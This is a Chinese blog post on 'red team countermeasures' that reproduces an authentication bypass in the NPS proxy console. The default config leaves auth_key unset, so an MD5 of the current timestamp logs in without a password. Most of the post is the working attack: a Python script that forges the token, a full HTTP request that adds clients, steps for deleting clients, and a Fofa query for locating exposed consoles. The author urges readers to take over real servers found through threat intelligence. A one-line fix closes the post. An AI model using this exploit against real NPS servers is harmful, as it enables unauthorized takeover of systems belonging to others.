红队技术 – 接管 NPS 控制台

红队反制 – 接管 NPS 控制台

最近看到有意思的东西,参考千寻瀑的文章复现了一下

https://github.com/ehang-io/nps/releases/tag/v0.26.10

到 github 上下载相应的版本,我这里用的 win 就下载 win 相关的客户端和服务端

红队技术 - 接管 NPS 控制台
红队技术 - 接管 NPS 控制台

下载完成后,输入以下命令,接着访问 8080 端口进入 web 页面,默认账号密码为 admin/123

nps.exe install
nps.exe start
红队技术 - 接管 NPS 控制台
红队技术 - 接管 NPS 控制台

客户端连接

红队技术 - 接管 NPS 控制台

web 控制台正常是需要密码才能登录的,但是由于默认配置导致可以伪造认证进行访问,就是时间有点短只有 20s

漏洞位置位于 webcontrollersbase.go

红队技术 - 接管 NPS 控制台

而在 nps.conf 配置文件里,auth_key 默认是被注释掉的

红队技术 - 接管 NPS 控制台

因此只需要添加 auth_key 和 timestamp 两个参数即可登入后台和使用相关功能点

使用脚本:

import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)))
红队技术 - 接管 NPS 控制台

把生成的字段填到 url 后面,直接登入后台

红队技术 - 接管 NPS 控制台

相关功能点的使用也同样原理,本地把相关接口提取出来,然后替换相应的字段重新发包即可

比如这里新建了一个客户端 id 值为 3,我们只需发包即可进行删除

红队技术 - 接管 NPS 控制台
红队技术 - 接管 NPS 控制台

可以看到相应的客户端已经被删除

红队技术 - 接管 NPS 控制台

娱乐玩法:让红队感受一下我们的存在

POST /client/add?auth_key=91062628846838dd081437f7b1f320a1&timestamp=1659667675 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 130
Origin: 
Connection: close
Referer: 

remark=&u=%E7%BA%A2%E9%98%9F%E3%80%81%E4%BD%A0%E8%A2%AB%E5%8F%8D%E5%88%B6%E4%BA%86&p=&vkey=&config_conn_allow=1&compress=0&crypt=0

红队技术 - 接管 NPS 控制台

Fofa 语法:body=”NPS” && port=”8080”

接下来可以去威胁情报提取 IP 进行红队反制了,随机挑选一名幸运观众进去瞅瞅,瞅一眼就好了,再看就不礼貌了 = =(也体恤一下 RT 兄弟辛苦搞来的口子)

红队技术 - 接管 NPS 控制台

修复方案:把 auth_key 注释去掉重新编译就好,不要直接下载 github 的 release 版本

红队技术 - 接管 NPS 控制台
© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容